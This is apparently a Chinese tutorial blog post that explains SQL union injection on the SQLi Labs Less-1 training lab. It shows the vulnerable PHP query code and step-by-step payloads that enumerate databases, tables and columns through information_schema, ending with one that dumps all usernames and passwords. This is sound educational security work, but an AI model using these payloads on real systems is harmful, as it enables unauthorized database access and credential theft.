SQLi Labs 是一个专为学习和测试 SQL 注入漏洞设计的实验平台,旨在帮助安全研究人员、开发者和网络安全爱好者深入理解并实践各种 SQL 注入攻击。该平台提供了一系列精心设计的实验环境,模拟真实的 SQL 注入场景,并配有相应的解决方案。

要搭建sqli-labs本地靶场,可参考sqli-labs搭建教程

白盒测试

要理解 SQL 注入的原理,首先需要掌握后端如何实现以下功能:通过前端接收用户输入参数,在数据库中进行查询,并将结果返回前端展示。以 SQLi Labs Less-1 为例,该实验接受用户输入的 id 参数,并依据该参数查询数据库中的相关信息,返回 login name 和 password。

理解此类后端代码并不需要深厚的 PHP 编程基础,只需掌握以下关键代码即可:

$id=$_GET['id'];   // 以GET方式从前端接收id参数,并赋值给变量id
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; // 构造查询语句,查找id匹配的行
$result=mysql_query($sql); // 执行查询语句,并将结果赋给$result

此时,假如我们令参数id为第一行的代码,则查询语句就会变成第二行的结果。我们在1后面添加的'和原本包裹变量$id的前面的'成对,从而使我们成功在后面加入了一个判断,由于1不等于2,那么查询就会报错。这样,我们就有可能通过闭合前面的'来执行一些其他的操作,请看接下来的注入过程吧。

id=1' and '1'='2
SELECT * FROM users WHERE id='1' and '1'='2' LIMIT 0,1

黑盒测试

1. 判断注入类型

?id=1 and 1=1 回显
?id=1 and 1=2 回显
?id=1' and '1'='1 回显
?id=1' and '1'='2 错误
?id=1' 错误
?id=1'--+ 回显
  • 为什么要判断注入类型:在刚才的白盒中,可以看到查询语句中$id是被'包裹的,除了单引号,双引号、括号等都有可能用于包裹$id,因此,必须尝试出正确的符号来闭合包裹的符号。
  • --+:是一个注释符,后面的代码将被忽略,避免后面可能存在的条件影响前面注入的结果。

2. 判断字段数

/?id=1' order by 1--+
/?id=1' order by 2--+
/?id=1' order by 3--+
  • order by 介绍:当我们传入一个参数时,可能会查到多行结果,order by的作用就是将所有的数据按照第x列的数据进行排序,当第x列不存在时就会报错,因而order by函数可以查出列数(即字段数)
  • 为什么要判断字段数:在接下来的联合查询形成的语句会是select * where id = 1 union select 1,2,3,联合查询两个select的列数必须一致,*代表所有列,因此要先知道总列数,才能正确设置联合查询的列数

3. 判断注入点

/?id=1' union select 1,2,3--+   '数据回显,但是没有回显注入点
/?id=0' union select 1,2,3--+ '回显注入点为2和3
  • 什么是联合查询:就是在执行完select * where id='1'后,再执行select 1,2,3,并将结果合并,其中select 1,2,3返回一行包含三个固定值的结果,每个值分别是 1, 2, 3
  • 为什么要判断注入点:假设有一个表,列名(即字段名)分别为id、name、gender...,但是该网站的设计是,输入id,告诉你name是什么。总结而言,虽然表中有许多列,但并不是所有列的数据都会被输出到前端,因此必须要先寻找会被输出的位置才能进行后续的注入。
  • 为什么第二行修改为id=0成功回显:在刚刚的白盒中,我并未介绍LIMIT 0,1的作用,其作用为在查询到的所有数据中,从第0行开始,输出1行。当id=1时,是能够正常查询到数据的,于是只有这一行被输出了。因此我们将id设置为0(或者负数),使得主查询查不到数据,后面联合查询的数据就能正常输出了。

4. 拆解数据库

/?id=0' union select 1,2,database()--+    '数据库security

/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+         '表名emails,referers,uagents,users

/?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security' --+  '字段id,username,password

/?id=0' union select 1,group_concat(username),group_concat(password) from security.users --+
  • database():当前数据库名,代替3的位置后,数据库名就会被输出。
  • group_concat:将得到的所有结果拼接起来并返回,如果不拼接,只会显示查到的第一行结果。
  • information_schema:是mysql自带的一个特殊的数据库,它记录了所有的表名、列名,通过它,我们就能从数据库名一层层的拆解出我们想要数据的列名、表名,并查询到想要的数据。

    以下为注入结果,输出了所有用户名与密码。

之后的Less-2,3,4题都是相同的原理,只是在闭合类型上有所区分,可以自行尝试注入。

写在最后

网安的学习需要多动手、多调试、多思考,简单的跟着教程走只能学到表面的知识,无法真正理解其中的原理。只有通过不断地实践,遇到问题时深入分析和解决,才能提升自己的技术能力。同时,保持好奇心,多去探索不同的安全工具和技术,积极参与社区讨论,分享和学习他人的经验,才能在这个快速发展的领域中不断进步。

基于sqli-labs Less-1的sql联合注入详解的更多相关文章

  1. Mybatis SQL映射文件详解

    Mybatis SQL映射文件详解 mybatis除了有全局配置文件,还有映射文件,在映射文件中可以编写以下的顶级元素标签: cache – 该命名空间的缓存配置. cache-ref – 引用其它命 ...

  2. mysql中SQL执行过程详解与用于预处理语句的SQL语法

    mysql中SQL执行过程详解 客户端发送一条查询给服务器: 服务器先检查查询缓存,如果命中了缓存,则立刻返回存储在缓存中的结果.否则进入下一阶段. 服务器段进行SQL解析.预处理,在优化器生成对应的 ...

  3. sql各种连接详解

      迁移时间:2017年6月1日16:33:58 CreateTime--2016年9月14日11:19:00Author:Marydon sql各种连接详解 参考链接: http://www.jb5 ...

  4. 为什么说JAVA中要慎重使用继承 C# 语言历史版本特性(C# 1.0到C# 8.0汇总) SQL Server事务 事务日志 SQL Server 锁详解 软件架构之 23种设计模式 Oracle与Sqlserver:Order by NULL值介绍 asp.net MVC漏油配置总结

    为什么说JAVA中要慎重使用继承   这篇文章的主题并非鼓励不使用继承,而是仅从使用继承带来的问题出发,讨论继承机制不太好的地方,从而在使用时慎重选择,避开可能遇到的坑. JAVA中使用到继承就会有两 ...

  5. MySQL SQL查询优化技巧详解

    MySQL SQL查询优化技巧详解 本文总结了30个mysql千万级大数据SQL查询优化技巧,特别适合大数据里的MYSQL使用. 1.对查询进行优化,应尽量避免全表扫描,首先应考虑在 where 及 ...

  6. MySQL 联合索引详解

    MySQL 联合索引详解   联合索引又叫复合索引.对于复合索引:Mysql从左到右的使用索引中的字段,一个查询可以只使用索引中的一部份,但只能是最左侧部分.例如索引是key index (a,b,c ...

  7. SQL DELETE 语句详解

    SQL DELETE 语句详解   DELETE 语句 DELETE 语句用于删除表中的行. 语法 DELETE FROM 表名称 WHERE 列名称 = 值 Person: LastName Fir ...

  8. SQL Update 语句详解

    SQL Update 语句详解   Update 语句 Update 语句用于修改表中的数据. 语法: UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值 Person: L ...

  9. SQL SERVER分区详解(1-5)

    转自: (五)SQL Server分区自动化案例     (四)SQL Server分区管理     (三)索引分区知识详解     (二)SQL Server分区创建过程     (一)SQL Se ...

  10. 【SQL Server】SQL触发器经验详解

    [SQL Server]SQL触发器经验详解 | 浏览: 4314 | 更新: 2013-01-07 15:33 25 11 全文阅读分步阅读   加入杂志 步骤 1 2 3 4 5 6 7 8   ...

随机推荐

  1. AT Educational DP Contest

    https://atcoder.jp/contests/dp J - Sushi 设 \(f[i,j,k]\) 表示有 \(1/2/3\) 个寿司的盘子有 \(i/j/k\) 个 考虑随机到哪种盘子列 ...

  2. yum下载包保存到本地

    1.使用yumdownloadonly下载RPM包及依赖包 #下载yumdownloadonly插件 yum install yum-plugin-downloadonly # yum 下载rpm包到 ...

  3. VSCode 插件离线安装方法

    一.引言 最近想要使用 VSCode 来进行项目的开发工作,无奈工作机上无法上网.这就涉及到了相关插件的离线安装的问题. 在参考了 https://blog.csdn.net/wangwei703/a ...

  4. Go 互斥锁 Mutex 源码分析(二)

    原创文章,欢迎转载,转载请注明出处,谢谢. 0. 前言 在 Go 互斥锁 Mutex 源码分析(一) 一文中分析了互斥锁的结构和基本的抢占互斥锁的场景.在学习锁的过程中,看的不少文章是基于锁的状态解释 ...

  5. [postgres]使用pgbench进行基准测试

    前言 pgbench是一种在postgres上进行基准测试的简单程序,一般安装后就会自带.pgbench可以再并发的数据库绘画中一遍遍地进行相同序列的SQL语句,并且计算平均事务率. 测试准备 既然要 ...

  6. 【YashanDB知识库】statement级别的触发器在jdbc接口调用executeBatch时被多次触发

    问题现象 某客户使用jdbc接口向yashandb的表A插入数据. 表A上有一个语句级触发器,其内容为在触发时执行alter sequence操作:另外还有一个insert时的行级触发器,其内容为将每 ...

  7. 使用 Dependify 工具探索 .NET 应用程序依赖项

    在大型项目中,由于各种组件的复杂性和互连性,管理依赖项可能变得具有挑战性.如果没有适当的工具或文档,可能很难浏览项目并对依赖项做出假设.以下是在大型项目中难以导航项目依赖项的几个原因: 复杂性:大型项 ...

  8. 爬虫案例1-爬取图片的三种方式之一:selenium篇(2)

    @ 目录 前言 selenium简介 实战 共勉 ps 博客 前言 继使用requests库爬取图片后,本文使用python第三方库selenium来进行图片的爬取,后续也会使用同样是自动化测试工具D ...

  9. Unity中的光源类型(向前渲染路径进行光照计算)

    Unity中的光源类型 Unity中共支持4种光源类型: 平行光 点光源 聚光灯 面光源(在光照烘焙时才可以发挥作用) 光源的属性: 位置 方向(到某个点的方向) 颜色 强度 衰减(到某个点的衰减) ...

  10. PMP——如何区分项目启动会和开踢会?

    在PMP考试中非常强调两个重要会议,一个叫做启动会(Initiating Meeting),另一个叫做开踢会议(Kick-off Meeting),俗称两会. 项目启动会的作用是通过发布项目章程来授权 ...